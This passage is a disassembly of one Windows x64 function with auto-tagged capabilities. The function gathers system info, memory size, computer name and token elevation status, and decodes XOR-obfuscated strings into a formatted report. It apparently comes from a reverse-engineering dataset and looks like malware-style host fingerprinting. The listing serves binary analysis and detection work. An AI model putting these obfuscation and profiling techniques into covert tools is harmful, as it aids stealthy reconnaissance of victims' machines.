Function at 0x140010860
Capabilities:
Encode data using xor
Enumerate gui resources
Enumerate processes
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x558]
sub rsp, 0x630
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14009f060]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
mov qword [rbp - 0x68], rcx
mov qword [rbp - 0x60], rcx
xor r14d, r14d
mov dword [rbp - 0x70], r14d
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x290]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14008f5a8]
mov qword [rbp + 0x290], rax
lea rcx, [rbp + 0x318]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x70], 2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x290], rax
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x28c], edx
lea rcx, [rbp + 0x298]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x300], r14
mov edi, 4
mov dword [rbp + 0x308], edi
mov dword [rbp + 0x1c0], 0x105
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rbp - 0x20], 0x40
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r8d, dword [rbp - 0x30]
shr r8d, 1
lea r9, [rbp + 0x3ad]
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x1400109a0
mov qword [rbp + 0x228], r14
mov r12, r14
mov qword [rbp + 0x238], r14
mov qword [rbp + 0x240], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x228], r12b
lea rax, [rbp + 0x3ad]
cmp r9, rax
je 0x140010a19
lea r8, [rbp + 0x3ad]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x228]
call fcn.140001840
mov r12, qword [rbp + 0x238]
lea r9, [rbp + 0x395]
mov r8d, dword [rbp - 0x2c]
nop dword [rax]
nop dword [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140010a30
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x278], r14
mov qword [rbp + 0x280], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x268], dl
lea rax, [rbp + 0x395]
cmp r9, rax
je 0x140010a9f
lea r8, [rbp + 0x395]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x268]
call fcn.140001840
nop
mov r8, qword [rbp - 0x18]
shr r8, 0x14
lea r9, [rbp + 0x3cd]
movabs r10, 0xcccccccccccccccd
nop dword [rax + rax]
dec r9
mov rax, r10
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140010ac0
mov qword [rbp + 0x248], r14
mov r13, r14
mov qword [rbp + 0x258], r14
mov qword [rbp + 0x260], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x248], r13b
lea rax, [rbp + 0x3cd]
cmp r9, rax
je 0x140010b39
lea r8, [rbp + 0x3cd]
sub r8, r9
mov rdx, r9
lea rcx, [rbp + 0x248]
call fcn.140001840
mov r13, qword [rbp + 0x258]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, r14d
mov qword [rbp - 0x58], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x58]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140010ba4
mov dword [rbp + 0x150], edi
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
mov r9d, edi
lea r8, [rbp + 0x158]
mov edx, reloc.WS2_32.dll_sendto
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp + 0x158]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140010bb3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140010c01
movsd xmm0, qword [0x14008f778]
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [0x14008f780]
mov byte [rsp + 0x60], 0x45
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor al, 0x3a
mov byte [rsp + 0x68], al
lea rdi, [rsp + 0x60]
jmp 0x140010c49
movsd xmm0, qword [str.aGU_RVJ_:]
movsd qword [rsp + 0x30], xmm0
movzx eax, byte [0x14008fb70]
mov byte [rsp + 0x30], 0x53
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
xor byte [rsp + 0x36], 0x38
xor byte [rsp + 0x37], 0x39
xor al, 0x3a
mov byte [rsp + 0x38], al
lea rdi, [rsp + 0x30]
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movsd xmm0, qword [str.bA_C_____]
movsd qword [rbp + 0x380], xmm0
movzx ecx, word [0x14008f5d0]
mov word [rbp + 0x388], cx
cmp byte [0x14008f5d1], 0
je 0x140010cf3
mov byte [rbp + 0x380], 0x50
xor byte [rbp + 0x381], 0x33
xor byte [rbp + 0x382], 0x34
xor byte [rbp + 0x383], 0x35
xor byte [rbp + 0x384], 0x36
xor byte [rbp + 0x385], 0x37
xor byte [rbp + 0x386], 0x38
xor byte [rbp + 0x387], 0x39
xor byte [rbp + 0x388], 0x3a
xor byte [rbp + 0x389], 0x3b
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov rcx, rax
mov rdx, rdi
call fcn.1400208c0
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movsd xmm0, qword [str.zGA]
movsd qword [rbp + 0x380], xmm0
movzx ecx, word [0x140091890]
mov word [rbp + 0x388], cx
cmp byte [0x140091891], 0
je 0x140010dd6
mov byte [rbp + 0x380], 0x48
xor byte [rbp + 0x381], 0x33
xor byte [rbp + 0x382], 0x34
xor byte [rbp + 0x383], 0x35
xor byte [rbp + 0x384], 0x36
xor byte [rbp + 0x385], 0x37
xor byte [rbp + 0x386], 0x38
xor byte [rbp + 0x387], 0x39
xor byte [rbp + 0x388], 0x3a
xor byte [rbp + 0x389], 0x3b
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov rbx, rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
lea rax, [rbp + 0x3e0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140010e20
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x40]
call fcn.140001840
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140010eab
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010ea6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010ea6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movsd xmm0, qword [0x14008fb38]
movsd qword [rbp + 0x380], xmm0
movzx ecx, word [0x14008fb40]
mov word [rbp + 0x388], cx
cmp byte [0x14008fb41], 0
je 0x140010f55
mov byte [rbp + 0x380], 0x55
xor byte [rbp + 0x381], 0x33
xor byte [rbp + 0x382], 0x34
xor byte [rbp + 0x383], 0x35
xor byte [rbp + 0x384], 0x36
xor byte [rbp + 0x385], 0x37
xor byte [rbp + 0x386], 0x38
xor byte [rbp + 0x387], 0x39
xor byte [rbp + 0x388], 0x3a
xor byte [rbp + 0x389], 0x3b
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov rbx, rax
movsd xmm0, qword [str.G_QGXVU:]
movsd qword [rsp + 0x30], xmm0
movzx ecx, byte [0x14008f7a8]
mov byte [rsp + 0x30], 0x75
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
xor byte [rsp + 0x36], 0x38
xor byte [rsp + 0x37], 0x39
xor cl, 0x3a
mov byte [rsp + 0x38], cl
mov qword [rbp - 0x58], r14
mov qword [rbp + 0x158], r14
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14001104a
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x14001104a
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], reloc.WS2_32.dll_ntohs
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140011010
lea rcx, [rbp + 0x160]
call fcn.140001840
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movups xmm0, xmmword [rbp + 0x160]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [rsp + 0x50], xmm1
jmp 0x140011076
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
xor r8d, r8d
lea rdx, [0x14008f011]
lea rcx, [rsp + 0x40]
call fcn.140001840
mov r15d, 0x1fe
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400110eb
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400110e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400110e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movsd xmm0, qword [0x140091940]
movsd qword [rbp + 0x380], xmm0
movzx ecx, word [0x140091948]
mov word [rbp + 0x388], cx
cmp byte [0x140091949], 0
je 0x140011195
mov byte [rbp + 0x380], 0x54
xor byte [rbp + 0x381], 0x33
xor byte [rbp + 0x382], 0x34
xor byte [rbp + 0x383], 0x35
xor byte [rbp + 0x384], 0x36
xor byte [rbp + 0x385], 0x37
xor byte [rbp + 0x386], 0x38
xor byte [rbp + 0x387], 0x39
xor byte [rbp + 0x388], 0x3a
xor byte [rbp + 0x389], 0x3b
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov rbx, rax
call fcn.14000e620
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [str.qRDA_XV9]
movups xmmword [rbp + 0x380], xmm0
mov edx, Ordinal_33
mov esi, dword [reloc.WS2_32.dll_accept]
pextrw eax, xmm0, 7
test ax, ax
je 0x140011342
mov r8d, r14d
cmp esi, 2
jl 0x1400112fc
movdqa xmm4, xmmword [0x140091a80]
mov ecx, 4
movd xmm6, ecx
movd xmm5, edx
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.22222222]
movq xmm0, qword [str.qRDA_XV9]
pxor xmm2, xmm0
movq qword [rbp + 0x380], xmm2
movdqa xmm3, xmmword [0x1400919d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.22222222]
movq xmm0, qword [rbp + 0x388]
pxor xmm2, xmm0
movq qword [rbp + 0x388], xmm2
jmp 0x140011347
lea r9, [rbp + 0x380]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x140011310
mov edx, Ordinal_33
mov ecx, 4
movups xmm0, xmmword [0x14008fa60]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [0x14008fa70]
movups xmmword [rbp + 0x170], xmm1
mov eax, dword [0x14008fa80]
mov dword [rbp + 0x180], eax
mov r8d, r14d
cmp esi, 2
jl 0x1400114c7
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, ecx
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, edx
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400113c0
cmp r8d, 0x24
jge 0x140011510
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400114e0
mov ecx, Ordinal_26
call fcn.14007c5c0
mov rbx, rax
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140011551
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], 1
lea rcx, [rbp + 0x160]
call fcn.14007d9a0
mov qword [rbx], rax
jmp 0x140011554
mov rbx, r14
mov qword [rbp - 0x58], rbx
test rbx, rbx
je 0x140014d23
lea r8, [rbp + 0x380]
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x40]
call fcn.140009a00
mov rdi, rax
lea rdx, [0x140005950]
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx ecx, word [0x14008f820]
mov word [rbp + 0x150], cx
movzx ecx, byte [0x14008f822]
mov byte [rbp + 0x150], reloc.WLDAP32.dll_Ordinal_79
xor byte [rbp + 0x151], 0x33
xor cl, 0x34
mov byte [rbp + 0x152], cl
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.1400208c0
mov rcx, rax
lea rdx, [0x14009044c]
call fcn.1400208c0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14001160e
mov rdi, qword [rdi]
mov rdx, rdi
mov rcx, rax
call fcn.140026840
lea rdx, [0x140020a90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14001166a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011665
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011665
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007c5fc
movups xmm0, xmmword [0x14008fcf8]
movups xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [0x14008fd08]
movsd qword [rbp - 0x80], xmm1
movzx eax, word [0x14008fd10]
mov word [rbp - 0x78], ax
mov r8d, r14d
mov r10d, 4
lea r11d, [r10 + 0x1b]
cmp esi, 2
jl 0x14001179d
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, r10d
movd xmm5, r11d
movdqa xmm8, xmmword [str.22222222]
movdqa xmm2, xmmword [0x1400919c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [0x14008fcf8]
pxor xmm3, xmm0
movq qword [rsp + 0x70], xmm3
movdqa xmm2, xmmword [0x1400919d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400919e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x78]
pxor xmm3, xmm0
movq qword [rsp + 0x78], xmm3
mov r8d, 8
mov eax, r8d
lea r9, [rsp + 0x70]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400117b0
movups xmm0, xmmword [0x14008fa60]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [0x14008fa70]
movups xmmword [rbp + 0x170], xmm1
mov eax, dword [0x14008fa80]
mov dword [rbp + 0x180], eax
mov r8d, r14d
cmp esi, 2
jl 0x140011967
movdqa xmm5, xmmword [0x1400919c0]
movdqa xmm4, xmmword [0x140091a80]
movd xmm6, r10d
movdqa xmm7, xmmword [0x1400919e0]
movd xmm8, r11d
movdqa xmm0, xmmword [str.22222222222222223333333333333333O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140091a50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
